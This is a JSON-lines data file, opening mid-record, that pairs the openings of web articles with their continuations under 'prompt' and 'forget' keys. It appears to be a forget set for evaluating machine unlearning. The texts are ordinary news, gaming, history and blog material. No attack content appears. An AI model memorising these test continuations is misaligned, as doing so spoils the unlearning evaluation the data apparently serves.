Wisconsin are ready to believe the absolute worst. Inside the capitol there are dozens of agitprop signs accusing the brothers of buying the election for Walker. There are detailed lists"}
{"prompt": "Once we enter Open Beta, we will stop selling the current set of Many people who have supported Path of Exile financially will receive physical goods posted to them (such as t-shirts, posters, copies of the game and soundtrack). We are about to start preparing these and we expect that they will be printed and posted before August. A few months ago, we stated that we hoped to enter Open Beta in June. Some of the crucial features that we must enter Open Beta with are not yet finished, so we will delay the Open Beta until they are. As", "forget": "mentioned above, we expect that this will be mid-August. While we strongly believe that this estimate is accurate, we will update it over time if work progresses ahead or behind of schedule. One of the advantages of not having a publisher is that we are able to create our own deadlines without being forced to open up the game to the public in an unfinished state. While I am sure that many of our patient fans are disappointed by this announcement, please rest assured that the game is almost done - lucky testers (and our generous supporters) have been playing the Closed Beta for ten months and can hopefully attest to our high quality standards. Here's the plan for the last remaining patches before Open Beta. The patches will take approximately three weeks each, and will be available to Alpha testers a week before they are deployed to the Beta realm. 0.9.10: Will be deployed Tuesday, June 5. I've discussed its contents 0.9.11: Among other changes, this patch will enable the new end-game (which we have been hinting at for a while) and the Act Two final boss. It will include the ability to swap between weapon sets. 0.9.12: This patch will fix most of the issues with Minions. It will also introduce PvP arenas and the ability to challenge other players to duel. We expect to improve the Brutus fight in this patch as well. 0.9.13: A secure trade screen and substantial update to server stability and capacity is scheduled for this patch. 0.10.0: The official Open Beta release, which we expect will be deployed a week or so after 0.9.13. It will have Act Three enabled, voice acting for most of the NPCs and characters, as well as a range of cosmetic micro-transactions to purchase. There are hundreds"}
{"prompt": "Washington (CNN) -- The battle over health care reform reached another milestone Thursday as top House Democrats unveiled sweeping legislation that includes a highly controversial public health insurance option. The nearly 2,000-page bill -- a combination of three versions passed by House committees -- would cost $894 billion over 10 years to extend insurance coverage to 36 million uncovered Americans, according to House Speaker Nancy Pelosi. However, the bill's total cost, including Medicare changes, is expected to be higher and could push the price tag over $1 trillion, according to an initial CNN analysis. The bill guarantees that 96 percent", "forget": "of Americans have coverage, Pelosi stated. The claim is based on an analysis by the non-partisan Congressional Budget Office. Among other things, the bill would subsidize insurance for poorer Americans and create health insurance exchanges to make it easier for small groups and individuals to purchase coverage. It would also cap annual out-of-pocket expenses and prevent insurance companies from denying coverage for pre-existing conditions. Pelosi's office said the bill would cut the federal deficit by roughly $30 billion over the next decade. The measure is financed through a combination of a tax surcharge on wealthy Americans and spending constraints in Medicare and Medicaid. Specifically, individuals with annual incomes over $500,000, as well as families earning more than $1 million, would face a 5.4 percent income tax surcharge. Medicare expenditures would be cut by 1.3 percent annually. \"Today, we are ... laying the foundation for a brighter future for generations to come,\" Pelosi said on Capitol Hill. \"For Americans struggling with the cost of health care, this is an urgently needed bill,\" said House Majority Leader Steny Hoyer, D-Maryland. \"This is an idea whose time has come.\" President Obama praised House Democrats for forging \"a strong consensus that represents a historic step forward.\" Republicans tore into the bill, characterizing it as a series of tax increases and new regulations that would destroy jobs while doing little to stop spiraling health care costs. \"This really is a government takeover of health care in America,\" said Rep. Mike Pence, R-Indiana. \"It appears for all of the world like a massive government-run insurance plan paid for with a freight train of mandates and taxes and bureaucracy.\" Critics argue that the Democrats' $894 billion price tag excludes the cost associated with closing the Medicare \"donut hole\" prescription drug coverage gap. The donut hole refers to"}
{"prompt": "Live coverage following Tuesday's earthquake in Haiti, in which tens of thousands are feared to have died and three million displaced. Bodies are piled up on the rubble-strewn streets of the capital. Rescue workers are in a race against time to find survivors. 0000 The BBC is discontinuing this live update page for the night. For the latest developments, please go to our main news page. The BBC is discontinuing this live update page for the night. For the latest developments, please go to our main news page. 2346 Survivor Jackson tells the BBC he has just found his wife", "forget": "under the rubble: \"We just got married. I just married my wife, and now I don't know what to do. She spent three days under the rubble of the building, and today I found her.\" \"We just got married. I just married my wife, and now I don't know what to do. She spent three days under the rubble of the building, and today I found her.\" 2342 Time magazine reporter Saul Schwarz says he has seen at least two downtown roadblocks made out of bodies of earthquake victims and rocks - Reuters. \"It's getting ugly out there, people are fed up with getting no help,\" he tells the news agency. Time magazine reporter Saul Schwarz says he has seen at least two downtown roadblocks made out of bodies of earthquake victims and rocks - Reuters. \"It's getting ugly out there, people are fed up with getting no help,\" he tells the news agency. 2325 Louis Ballinger of Oxfam tells the BBC: \"People are pretty calm, I have to say. There were no scenes of chaos or aggressivity or anything else. People are pretty shocked still. A lot of families and friends and neighbours have gathered together in parks in Port-au-Prince, so you can see the ones that are homeless now are sticking together and trying to help each other out, waiting for aid to come along.\" \"People are pretty calm, I have to say. There were no scenes of chaos or aggressivity or anything else. People are pretty shocked still. A lot of families and friends and neighbours have gathered together in parks in Port-au-Prince, so you can see the ones that are homeless now are sticking together and trying to help each other out, waiting for aid to come along.\" 2319 US mobile phone users send more than"}
{"prompt": "The Senate Better Care Reconciliation Act (BCRA) would make significant changes to the amounts that people pay for nongroup coverage and for the care they receive under the Affordable Care Act (ACA). The tables below provide estimates of how premiums after taking into account tax credits would change for people currently enrolled in the federal and state marketplaces. Under current law, people with incomes between 100 percent and 400 percent of the federal poverty level are eligible for premium tax credits to help them pay the premium for nongroup coverage purchased through the federal or a state marketplace if they", "forget": "do not have access to other affordable coverage. People are responsible for paying a specified percent of their income (\u201crequired income percentage\u201d) toward the cost of the benchmark plan (the second-lowest cost silver plan in their area), and the federal government pays the remainder of the premium to their insurer; this amount is the person\u2019s premium tax credit. The required income percentages people are responsible to pay vary with income: In 2017, people with incomes between 100 percent and 133 percent of poverty contribute 2.04 percent of income, while people with incomes between 300 percent and 400 percent of poverty contribute 9.69 percent of their income. Because premiums vary with age but the share of income people are responsible to pay does not, older people receive larger premium tax credits than younger people with the same income but pay the same amount for the benchmark plan. Beginning in 2020, the BCRA would make several significant revisions that affect the premium tax credits that people receive when they purchase nongroup coverage. First, the bill would revise income eligibility for premium tax credits, extending eligibility to people with incomes below poverty but capping eligibility at 350 percent of poverty. Second, the bill amends the way that premium tax credits are calculated so that the required income percentages vary with age and with income. Our estimates of the required income percentages under current law and the BCRA for 2020 are shown in the Appendix. The result is that on average people at younger ages would pay a lower share of their income to purchase a benchmark plan than they today while people at older ages would pay a higher share. Third, the bill reduces the value of the benchmark plans that are used to determine premium tax credits. The result is that a"}
{"prompt": "European Astro Pi Challenge: Code your ISS experiment - more details ESA is inviting teams of students who are 16 years old and younger to join the first European Astro Pi challenge and have their experiments run on the International Space Station! Take this opportunity to learn about science and coding, just like space scientists do! Deadline to submit your registration is 13 November 2016. ESA astronaut Thomas Pesquet officially launched the first European Astro Pi challenge last week. Thomas is looking forward to his first spaceflight to the International Space Station (ISS) with the Proxima mission later this year,", "forget": "and is looking forward to assisting the Astro Pi challenge from orbit. Watch Thomas\u2019 message in the video above! What is an Astro Pi? Astro Pi is the name of a small computer developed by the Raspberry Pi Foundation, in collaboration with the UK Space Agency and ESA. There are two very special Astro Pi\u2019s. Their names are Ed and Izzy, and they have been qualified for spaceflight. They are now onboard the ISS for students like you to use. Astro Pi computers come with a set of sensors and gadgets that can be used to run cool scientific experiments. This set of sensors is called \u2018Sense HAT\u2019. With the Sense HAT you can sense movements, measure humidity, temperature and pressure, and detect radiation. Ed and Izzy are also equipped with a joystick and buttons just like a videogame console! Discover more about the Astro Pi Sense HAT and its sensors here and experience what you can do with them by using this web-based emulator. Join the competition: your code may go to space! Astro Pi inside its flight case The European Astro Pi challenge invites school students to design a scientific experiment that can be run using Astro Pi Ed\u2019s sensors, and to write the computer code with which the Astro Pi needs to be programmed in order to execute this experiment on the ISS. Ed is ready and anxious to run your code. What are you waiting for? The Astro Pi challenge is divided into three phases. You have to succeed Phase 1 in order to be selected to participate in Phases 2 and 3. Phase 1 \u2013 Warm up and show us you are up to the Astro Pi challenge! ESA\u2019s Astro Pi kit In this phase, ESA expects your team - with the help of your"}
{"prompt": "Author: Beach Combing | in : Contemporary Nauru is a small island (about eight square miles) half way between Hawaii and New Zealand made largely of bird droppings. If that does not sound particularly promising consider two further points. First, that its European discoverer named it Pleasant Island in 1798: it was once extraordinarily beautiful. And second that the bird droppings can be mined as phosphates, which are worth a lot of money. The following morality tale has, in fact, a lot to do with money\u2026 Money\u2026 Everyone wanted a piece of Nauru. It is enough to list the island\u2019s", "forget": "owners over the last two hundred years. For most of the nineteenth century the Nauruans ruled themselves and spent a lot of that time fighting each other with firearms brought by European traders. In 1888 Germany intervened to end the war and in an amnesty \u2013 and encouraged by the threat that tribal leaders would be executed \u2013 over seven hundred guns and rifles were handed over to the new authorities; enough to attempt an invasion of Belgium. The island remained in the German Empire until 1914 when it was occupied by Australians on behalf of the Allies. In 1919 the British created the British Phosphate Commission that ran the island in the interests of Australia, New Zealand and the wider Empire, though not necesarily the Nauruans. In 1923 Australia took over the running of Nauru. In 1942 Japan occupied and Nauru had its worst years: a leprosy outbreak was dealt with by sailing a boat of the afflicted out into the ocean and sinking it. In 1945 a joint New Zealand, Australian and British trusteeship was set up, then in 1968 the island was finally given independence. Nauruans, Germans, Australians, BPC, Japanese, Commonwealth Trusteeship and Nauruans again. Nauru became a kind of Pacific Krakow passing constantly between powers. It would be interesting to see if any other spot in the Pacific rivals Nauruans in terms of the multiplicity of owners. Beach is tempted to quote Kissinger: \u2018if they had grown carrots there no one would have given a damn.\u2019 From 1968 the Nauruans should have had a happy or at least wealthy existence. After all, they now had the phosophate for themselves. And for a while the government was immensely rich, particularly given how small the population was. It also proved though immensely stupid and the money was wasted."}
{"prompt": "If you want to know what\u2019s going on in Cairo, just look at the walls. Over the last two years, as clashes and political conflict were raging on the streets of Cairo, another war was being fought on Egypt\u2019s walls with paint brushes and spray cans. The graffiti scene barely existed prior to the revolution that toppled President Hosni Mubarak. But as the uprising and protests gained momentum, murals have become the way for artists to dare to dream for something better for their country. Mos'ab Elshamy A child on a bike who had come to inspect the wall was", "forget": "photographed by the artists and added on the final painting. A political dance has emerged between graffiti artists and the authorities that seek to paint over the prismatic walls. The cycle has ensued for almost two years\u2013the graffiti goes up, the authorities paint over it, then something even bolder is portrayed on top. And so it continues. The back-and-forth between artists and the authorities has captivated many\u2013and as a photographer, Cairo\u2019s wall\u2019s present rich material for me. I have been able to document the progression from the birth of modern political graffiti to the current struggle between art and regime. Mos'ab Elshamy An onlooker watches graffiti artists. Though the political tones are always prominent, it is not the only theme to shine through. Cairo\u2019s walls have played host to anti-sexual harassment graffiti and calls for gender equality. Female artists have also played a considerable role in reclaiming public spaces with stenciled icons encouraging female empowerment. Most Egyptian graffiti artists remain anonymous but are still widely known by their nicknames like Ganzeer (which means \u201cbicycle chain\u201d), Keizer, and Sad Panda. Mos'ab Elshamy During the presidential election, graffiti which originally showed half faces of Hosni Mubarak and SCAF leader, Mohamed Hussein Tantawi, was modified to include faces of candidates Ahmed Shafik and Amr Moussa Perhaps the strongest messages delivered by graffiti are those painted on walls originally meant to barricade protesters. The Supreme Council of Armed Forces (SCAF) walled off access to Tahrir Square in November 2011 after deadly clashes erupted and killed many civilian protesters. More than four walls were erected last year (and two last week), turning downtown Cairo into a maze. Egyptian graffiti artists arranged \u201cNo Walls Protests,\u201d painting the barricades away with trompe l\u2019\u0153il murals that commemorate the dead. The Sheikh Rihan eye-deceiving, (trompe-l\u2019\u0153il) mural, painted during a"}
{"prompt": "Reenactment photo courtesy the author Summer break sounds amazing in June, but by August the teens have grown restless. They're broke, they've got all these hormones that they can't properly act on, and Mom's at work. Today's teens are left at home with little more than technology and other teens to keep them company. It's with this sense of boredom and the possibility of danger in mind that we turn to our top story This Week in Teens. A 15-year-old boy in Florida got a Snapchat of his cousin holding a stack of cash, so he and four of his", "forget": "friends decided to rob his cousin's house. They would have gotten away with it, too, if it weren't for his cousin's pesky dogs, and the fact that the rest of his family was home. The teens ran from the house, taking a laptop with them, but were caught by police\u2014because that's what happens when your aunt sees you robbing her house. This story is truly a perfect encapsulation of the way teens live now. The traditional teen traits of confusion-fueled idiocy and responding to the pressures of capitalism with petty crime are compounded by technology. Snapchat, an app that's wildly popular among young people, is being valued at around $10 billion. Teens are an instrumental part of the app's success, so there's a certain poetry in the idea that the app is inspiring them to commit crimes for cash. Check out the rest of This Week in Teens: -The impressively-named website Action News Now reported that a 16-year-old in Anderson, California, died after what the teen thought was cocaine turned out to be poison. Following this incident, the Anderson Police Department issued a statement telling parents to \"Talk to your kids. Monitor their lives as much as possible. Educate them. Communicate with them. Make every effort to steer them in the right direction.\" While your This Week in Teens columnist is usually pretty skeptical of anti-drug rhetoric, they're right. Teens really have no business taking cocaine. For parents who want to talk to their kids but don't know how, we've helpfully compiled the following real facts behind cocaine use. The energy drink version isn't much better than the real thing. Photo via Flickr user Lauri Rantala Cocaine is, by most measures, a pretty unjustifiable drug to use. Its production destroys the environment and its sale goes to support murderous drug"}
{"prompt": "November 16, 2015 5 min read Opinions expressed by Entrepreneur contributors are their own. The idea of mentoring in the workplace is a common one, but the idea of a champion is rarely ever mentioned. In the past several months, I have been invited to speak around the topic of leadership in startups and technology, and when I mention that what we need are more champions and less mentors, people get excited. The energy level in the room suddenly rises. Most people say to me, \u201cI\u2019ve never heard that before. I love that idea -- champion!\u201d Related: 6 Smart Techniques", "forget": "to Connect With Influential People Mentors are a dime a dozen. Mentors are typically loose connections, and there are plenty to go around. Let\u2019s do a quick, very unscientific poll. Based on my network on LinkedIn, I have 308,830 mentors in my network. I did the same search for champion, and I had 40,317 champions. Mentors are easier to come by these days. Some organizations have formal processes for matching mentors. I\u2019ve only engaged in this type of formal matching once, and I was assigned a Harvard professor who was an expert in nuclear terrorism. Let\u2019s just say that we did not have much in common, but I was very grateful for the time I spent with someone so brilliant. It is best that you try to seek mentors whose expertise you can leverage. Don\u2019t be shy about reaching out to these people directly without a formal process in place. One way to start is to ask them a question about their own career progression. And do not take it personally if they do not respond. People are busy. Mentors are usually passive. Don\u2019t expect your mentor to become your champion. Champions are supposed to be rare. They are rare because in my experience, most people have never heard of a champion. This post aims to change this by making people aware of the concept of a champion. Think of a champion as a mentor but with a little more skin in the game. They are actively seeing that you get the good projects at work, that you receive the proper recognition for your job, and they provide you with timely feedback so that you are constantly improving. It\u2019s a working partnership where you are essentially groomed for a particular position or role. A champion is your voice when you"}
{"prompt": "EL SEGUNDO, CA \u2014 At around 2:15 PM on the afternoon of September 30, 2011, defenseman Drew Doughty emerged from the dressing room for his first training camp skate. That moment was the first publicly visible sign that the Los Angeles Kings had become whole once again. Late Thursday night, the Kings announced that they had reached a verbal agreement with their top defenseman, who missed virtually all of training camp as a contract holdout. In the end, Kings President/General Manager Dean Lombardi sweetened the pot by offering Doughty an average of $200,000 more per year above his reported original", "forget": "offer of $6.8 million per season, the same average annual value of center Anze Kopitar\u2019s contract. For their part, Doughty and agent Don Meehan reportedly budged on the length of the contract, so the deal ended up at $7 million per season for eight years. \u201cThe cap is a delicate balance,\u201d Kings Assistant General Manager Ron Hextall told LAKings.com (Kings executives were not available for comment on September 30). \u201cEvery year, there\u2019s moving parts just to try and stay under it. But we\u2019re really excited to have Drew under contract, and, obviously, Kopitar, long-term, along with the rest of our guys.\u201d \u201cWe\u2019re excited about the timing,\u201d added Hextall. \u201cIt could have, obviously, been a little bit better at the start of camp, but we\u2019re excited to have our team whole again.\u201d The 21-year-old native of London, Ontario met with the media before hitting the ice for a skate with assistant coach John Stevens. \u201cIt sucked being at home, and it sucked going through this process, but I\u2019m just really thankful that I\u2019m here, and I\u2019m going to be a member of the LA Kings for eight years,\u201d said Doughty. \u201c[The waiting] sucked, it really did. I didn\u2019t plan to be back home in London for that long. I wanted to be here the whole time. There was never a question about leaving the Kings, or anything like that. But we had to get done what we had to get done, and it\u2019s done before the season. That\u2019s the most important part.\u201d \u201cI\u2019ve had a lot of stress,\u201d added Doughty. \u201cThe season\u2019s approaching. I was counting down the days until the season started. At first, I didn\u2019t want to miss camp, either. I was counting down the days until camp started, but I ended up having to miss that.\u201d \u201cI\u2019m not"}
{"prompt": "For decades, meteorologists have been able to forecast the severity of hurricane seasons several months ahead of time. Yet forecasting the likelihood of a bad tornado season has proved a far greater challenge. Now, research from scientists at Columbia University's International Research Institute for Climate and Society could eventually lead to the first seasonal tornado outlooks. \"Understanding how climate shapes tornado activity makes forecasts and projections possible, and allows us to look into the past and understand what happened,\" said Michael Tippett, lead author of a study in February's journal of Geophysical Research Letters. The need for such data is", "forget": "reinforced by the still-fresh memory of 550 Americans killed by tornadoes last year \u2014 coupled with an unusually violent January for twisters. In the study, Tippett and his team looked at 30 years of past climate data. They used computer models to determine that the two weather factors most tied to active tornado months and seasons were heavy rain from thunderstorms and extreme wind shear (wind blowing from different directions at different layers of the atmosphere). \"If, in March, we can predict average thunderstorm rainfall and wind shear for April, then we can infer April tornado activity,\" Tippett says. The method worked for each month except for September and October, and it worked best in June. This is the first time a forecast of up to a month in advance has been demonstrated, he says. \"A connection between La Ni\u00f1a and spring tornado activity is often mentioned,\" Tippett says, \"but such a connection really has not been demonstrated in the historical data and hasn't been shown to provide a basis for a skillful tornado activity forecast. \"Our work bridges the gap between what the current technology is capable of forecasting (large-scale monthly averages of rainfall and winds) and tornado activity, which the current technology cannot capture,\" he says. The research isn't ready for prime time yet, however, so no official forecast will be made for the upcoming season using these methods. \"This is a useful first step,\" says Harold Brooks of the National Oceanic and Atmospheric Administration, who was not involved in the study. He says it will be helpful to know, for example, that sometime in the last week of April, conditions will be favorable for lots of tornadoes in the eastern USA. With greater lead time, a state emergency planner \"could be better prepared with generators and supplies,\""}
{"prompt": "One of the great gifts of being a teacher is that you get to learn from your students. This is especially useful when your students take your teachings and find new framing to express them. In the Strategic Sorcery group students are always cheering and challenging each other. Yesterday Student A.M. threw down the glove in a way that struck me as particularly useful, and I wanted to share it here on the blog so that others can pick it up and do it. Its a very simple idea, and here is A.M. expressing it in his own words: I\u2019ve", "forget": "got a christmas challenge I\u2019d like to set \u2013 conjure something that you want, but think you don\u2019t deserve. Maybe it\u2019s a raise that you think you haven\u2019t worked for, or the attention of someone special that you think is out of your league, or just some fun or pretty gift you\u2019d like to give yourself. This has been a pretty powerful mental short-circuit trick for me \u2013 a lot of the time I get distracted by thoughts of whether or not I\u2019ve \u2018earned\u2019 (in mundane or spiritual terms) the result that I\u2019m summoning. Doing this every once in a while helps me remember that it doesn\u2019t really matter who \u2018deserves\u2019 success or not. What matters is whether or not we make it happen for ourselves. Those of you that have taken the course or read Financial Sorcery know about Set Point theory already \u2013 what better way to shift that point than by doing this? The degree to which people who are ostensibly dedicated to causing change in strange and subtle ways are often trapped by ideas of what they do and don\u2019t deserve has always amazed me. Fuck what you deserve or don\u2019t deserve: just go get it because you want it. Don\u2019t come up with some faux cosmic \u201cit is my true will\u201d justification; go for it just because you want it. Don\u2019t invent some reason you \u201cneed\u201d it. Just do it because you want it. If there is some kind of karmic-rewards point system that monitors what shit people get based on their actions, trust that it is FAR too complicated for your slightly evolved monkey brain to figure out, and assume that if you want it, it\u2019s ok to go for it. If you are concerned about God or Gods having a destiny for you,"}
{"prompt": "SHARE Gov. Scott Walker Friday named Waukesha attorney Daniel Kelly to the state Supreme Court, replacing retiring Justice David Prosser. By of the Madison \u2014 Gov. Scott Walker on Friday named a little-known Waukesha lawyer with no judicial experience to the state Supreme Court, putting Daniel Kelly on the bench and keeping in place the high court's 5-2 conservative majority. Kelly \u2014 who in his application called affirmative action and slavery the same morally \u2014 will replace retiring Justice David Prosser on Aug. 1, the start of the court's new term. Kelly, 52, initially applied for the appointment in secret,", "forget": "but his name became public in June, when Walker's team narrowed the field of candidates from 11 to five. Kelly took just one question from reporters after Walker announced the appointment in the state Capitol, but he declined to discuss his writings opposing affirmative action and gay marriage. \"The primary and only job of a Wisconsin Supreme Court justice is to apply the law as it is written and the oath that I will take will guarantee to you that my personal political beliefs and political philosophy will have no impact on that whatsoever,\" Kelly said. \"Those things simply have no place inside the courtroom.\" In his application, Kelly included a 2014 book chapter in which he wrote same-sex marriage would rob marriage of any meaning and likened affirmative action to slavery. \"Affirmative action and slavery differ, obviously, in significant ways,\" Kelly wrote. \"But it's more a question of degree than principle, for they both spring from the same taproot. Neither can exist without the foundational principle that it is acceptable to force someone into an unwanted economic relationship. Morally, and as a matter of law, they are the same.\" Asked to discuss what he meant, Kelly remained in the background and Walker answered on his behalf, saying Kelly would not inject his personal beliefs into his work for the court. Walker declined to yield the podium to Kelly when reporters asked him to specifically answer their questions. Kelly also did not say whether he would run for a full 10-year term in 2020, but Walker said he expected that he would. Walker said he had not asked him that question when he interviewed him for the job. In his prepared remarks, Kelly said he's had a lifelong love of the law and was humbled by the appointment. \"To this"}
{"prompt": "5th episode of the fourteenth season of South Park \"200\" is the fifth episode of the fourteenth season of the American animated television series South Park, and the 200th overall episode of the series. It originally aired on Comedy Central in the United States on April 14, 2010. In the episode, Tom Cruise and all other celebrities who have been mocked by residents of South Park in the past plan to file a class action lawsuit against the town, but Cruise promises to end the lawsuit if the town can get the Muslim prophet Muhammad to meet him. The episode", "forget": "was written and directed by series co-creator Trey Parker. To celebrate their landmark episode, Parker and fellow series co-creator Matt Stone combined many of South Park's past storylines and controversies. The Muhammad subplot, similar to the one previously featured in the season 10 episode \"Cartoon Wars\", refers to Comedy Central's past refusal to allow images of Muhammad to be shown on the network in response to the riots and threats generated from controversial cartoons in 2005 and 2007 of Muhammad in European newspapers. \"200\" includes many celebrities that have been mocked in previous episodes, including Cruise, Rob Reiner, Steven Spielberg, Kanye West, Paris Hilton, George Lucas, Mel Gibson and Barbra Streisand. An additional subplot includes Cartman learning he may not know the true identity of his father. The 1998 season 2 episode \"Cartman's Mom Is Still a Dirty Slut\" claimed that Cartman's hermaphrodite mother is his father, but the events of \"200\" and the subsequent episode reveal that this is not the case. \"200\" received mostly positive reviews. According to Nielsen Media Research, the episode was seen by 3.33 million viewers, making it the most watched cable television program of the night. Both \"200\" and the sequel episode \"201\" were nominated for the Primetime Emmy Award for Outstanding Animated Program in 2010.[1] Within a week of the episode's original broadcast date, the website for the radical Muslim organization Revolution Muslim posted an entry warning Parker and Stone that they risked being murdered for airing the episode, which several media outlets and observers interpreted as a threat. As a result, Comedy Central heavily censored portions of \"201\" by removing references to Muhammad and the episode's closing speech. Plot [ edit ] While on a school field trip to a candy factory, Butters spots actor Tom Cruise working there, packing fudge into"}
{"prompt": "Block Party Block Parties can be hosted year round, not just during National Night Out. If you close your street don't forget to complete your Street Closure Application through the Portland Bureau of Transportation. Block Parties can be hosted year round in the City of Portland, learn more about hosting a block party from the Portland Bureau of Transportation. Once a year there is a time for Neighborhoods throughout the Nation to gather and connect through parties big and small in an event called National Night Out. What is National Night Out? National Night Out has been celebrated across North", "forget": "America on the first Tuesday of August since 1983. It's a day when people hold parties to strengthen community cohesiveness and crime resistance, and get to know their neighbors and their local public safety officials. When neighbors get to know each other, they create more connected and safer communities. Every year, more than 20,000 people in Portland participate. The Office of Community & Civic Life's Crime Prevention Program has the responsibility for coordinating National Night Out (NNO) in Portland working in partnership with many participating Bureaus; Portland Parks & Rec, Portland Fire & Rescue, Portland Police Bureau, Portland Bureau of Emergency Communication, Portland Bureau of Transportation. When is National Night Out? Official date of NNO: Second Tuesday of August 2019. In Portland, residents and businesses will have the option to host parties for the whole week around National Night Out. Registration opens the first Tuesday of June, 2019 at http://www.portlandoregon.gov/civic/nno Registration closes the fourth Tuesday of July, 2019. What are the benefits of registering with the City of Portland for National Night Out? Blanket coverage noise waiver for registered parties within the allotted party week. Option to receive free \"Swag\" (stickers, tattoos, pencils, and more) to handout during your part Option to request visits from public safety personnel and other city staff (Fire, Police, Crime Prevention, and more) Option to have the Crime Prevention Program Publicize your party to the public to increase attendance Get contacted by your Crime Prevention Coordinator to arrange Swag pick-up, options for lawn signs, receive Crime Prevention materials and handouts and more. Are there any other forms that need to be submitted for hosting a party? If you are closing down your street for your party, you will need to complete a Street Closure Application with the Portland Bureau of Transportation at: https://www.portlandoregon.gov/transportation/66080 For questions"}
{"prompt": "Select a date Select month July 2018 June 2018 May 2018 April 2018 March 2018 February 2018 January 2018 December 2017 November 2017 October 2017 September 2017 August 2017 July 2017 June 2017 May 2017 April 2017 March 2017 February 2017 January 2017 December 2016 November 2016 October 2016 September 2016 August 2016 July 2016 June 2016 May 2016 April 2016 March 2016 February 2016 January 2016 December 2015 November 2015 October 2015 September 2015 August 2015 July 2015 June 2015 May 2015 April 2015 March 2015 February 2015 January 2015 December 2014 November 2014 October 2014 September 2014 August", "forget": "2014 July 2014 June 2014 May 2014 April 2014 March 2014 February 2014 January 2014 December 2013 November 2013 October 2013 September 2013 August 2013 July 2013 June 2013 May 2013 April 2013 March 2013 February 2013 January 2013 December 2012 November 2012 October 2012 September 2012 August 2012 July 2012 June 2012 May 2012 April 2012 March 2012 February 2012 January 2012 December 2011 November 2011 October 2011 September 2011 August 2011 July 2011 June 2011 Select a category Agriculture Bihar Votes For Its (and India\u2019s) Future BUDGET 2014 Budget 2015: Modi\u2019s Moment of Reckoning Budget 2016: The stories behind the numbers Chart of the Day Climate Change Cover Story Currency Chaos Development Education Elections 2014 Employment Fact Check Governance Newsletter Health homepage video Hunger India\u2019s Great Challenge: Health & Sanitation IndiaSpend In The News IndiaSpend Interviews Industry Investigations Central State Latest Headlines Latest Reports Making Sense of Breaking News Modi\u2019s Message: India\u2019s States Reply Modi\u2019s Report Card Mumbai Special Mumbai Special: The Revival Agenda Opinion \u2013 Videos Opinions Pollution Poverty Prime Time: India\u2019s Grand Challenges Resources Central State Sectors Agriculture Defence Economy & Policy Education Health Infrastructure Snapshots States Central India Chattisgarh Madhya Pradesh EAST Bihar Jharkhand Orissa West Bengal NORTH Haryana Himachal Pradesh Jammu & Kashmir New Delhi Punjab Rajasthan Uttar Pradesh Uttarakhand NORTH EAST Arunachal Pradesh Assam Manipur Meghalaya Mizoram Nagaland Sikkim Tripura SOUTH Andhra Pradesh Karnataka Kerala Tamil Nadu WEST Goa Gujarat Maharashtra Story In A Minute The Air We #Breathe The Road To Delhi: Elections 2015 The Transition: 2015-2016 Uncategorized Viznomics: A Quick Glance At Big Issues Welfare Women Women@Work Search with Google National Library of India, Kolkata \u201cThe only thing that you absolutely have to know is the location of the library.\u201d \u2015 Albert Einstein They have been called \u201craucous clubhouses for free"}
{"prompt": "A Florida woman who claimed to be a victim of abuse yet was sentenced to 20 years behind bars for allegedly firing a warning shot during a dispute with her husband was granted a new trial Thursday. The appellate court ruling erased a decision by a jury that took just 12 minutes to convict Marissa Alexander, a mother of three, of aggravated assault. The conviction of Alexander, who is black, sparked outrage and cries of a racial double standard in light of the exoneration of George Zimmerman, a white Hispanic, for the death of Trayvon Martin, who was black. In", "forget": "particular, outrage aired on social media and among some lawmakers on Capitol Hill. Alexander unsuccessfully tried to invoke Florida's \"Stand Your Ground\" law as the same prosecutors who unsuccessfully worked to put Zimmerman behind bars told the court that she did not act in self-defense. In granting the new trial, Judge James H. Daniel also seemed unmoved by the Stand Your Ground defense. \"We reject her contention that the trial court erred in declining to grant her immunity from prosecution under Florida's Stand Your Ground law, but we remand for a new trial because the jury instructions on self-defense were erroneous,\" wrote Daniel. Alexander testified that, on Aug. 1, 2010, her then-husband, Rico Gray Sr., questioned her fidelity and the paternity of her 1-week-old child. She claimed that he broke through a bathroom door that she had locked and grabbed her by the neck. She said she tried to push past him but he shoved her into the door, sparking a struggle that felt like an \"eternity.\" Afterwards, she claimed that she ran to the garage and tried to leave but was unable to open the garage door, so she retrieved a gun, which she legally owned. Once inside, she claimed, her husband saw the gun and charged at her \"in a rage\" saying, \"Bitch, I'll kill you.\" She said she raised the gun and fired a warning shot into the air because it was the \"lesser of two evils.\" The jury rejected the self-defense claim and Alexander was sentenced under the state's 10-20-life law, sparking outrage over how self-defense laws are applied in the state. A Florida appellate court ruled today that jury instructions, which unfairly made Alexander prove \"beyond a reasonable doubt\" that she was acting in self-defense, were wrong -- and that there were other incorrect instructions"}
{"prompt": "\u201cShe was asking for it, dressed like that\u201d It\u2019s a common \u201crape apologist\u201d statement. The women who are raped are blamed because they dared to present themselves as a sexual being. I think that sex bloggers get a little bit of this mentality from male readers. I present my sexual thoughts or even sexual photos. Once upon a time on this blog I even asked for HNT suggestions for new sexy photos. I don\u2019t do that anymore for various reasons. In fact I\u2019m not all that provocative or sexual, period, on this blog. That is a topic though for another", "forget": "post. My irritation lies with the readers who \u201cin fun\u201d take what I give and then demand more. In the vein of \u201cit never hurts to ask\u201d they claim they\u2019re being flirtatious or really just paying me a compliment. If I wanted suggestions, I would ask for them. If I wanted to post more (quantity) photos here, then I would. If I wanted to post more revealing photos here, then I would. But the key here is that it\u2019s whatever I want to do. If you don\u2019t like it, if you don\u2019t find it to be \u201cenough\u201d\u2026.then please, seek out what you want elsewhere. There are no shortage (thank god) of sexy sex bloggers who are more revealing, more flirtatious, more interactive than I. I\u2019ve been at this 4 years now and perhaps this is a sign to wrap things up but nonetheless I\u2019ll thank you to keep your assumptive asshattery to yourself. What prompted this mini rant, you ask? Not just yet another guy who thinks it\u2019s ok to ask for more (even when it should be plainly obvious that I have never / not for 3 years posted anything like it) but the utter cheek of a fellow blogger, a fellow female sex blogger (I presume, given her response, I haven\u2019t a clue what her site is) who then takes my response to the guy and makes assumptions about HER. I don\u2019t even know this chick. I didn\u2019t make a derogatory comment about others who might post such photos, I didn\u2019t say \u201cew gross no\u201d. I said nothing but \u201cI don\u2019t do that\u201d. My response would have been similar if someone had commented and asked \u201cHey that\u2019s great, but you really should review breakfast cereal more!\u201d to which I\u2019d say \u201cUm, have you read my blog, does it"}
